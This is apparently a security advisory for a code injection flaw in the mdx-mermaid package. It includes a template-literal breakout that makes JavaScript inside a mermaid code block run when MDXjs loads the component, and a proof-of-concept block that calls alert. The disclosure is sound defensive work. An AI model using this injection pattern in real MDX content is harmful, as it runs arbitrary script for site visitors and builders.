Summary
Improper Control of Generation of Code ('Code Injection') in mdx-mermaid
Details
Impact
Arbitary javascript injection
Modify any mermaid code blocks with the following code and the code inside will execute when the component is loaded by MDXjs
` + (function () {
// Put Javascript code here
return ''
}()) + `
The block below shows a valid mermaid code block
```mermaid
graph TD;
A-->B;
A-->C;
B-->D;
C-->D;
```
The same block but with the exploit added
```mermaid
` + (function () {
alert('vulnerable')
return ''
}()) + `
graph TD;
A-->B;
A-->C;
B-->D;
C-->D;
```

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the
vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base
model, served locally by ML-Gateway.
They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
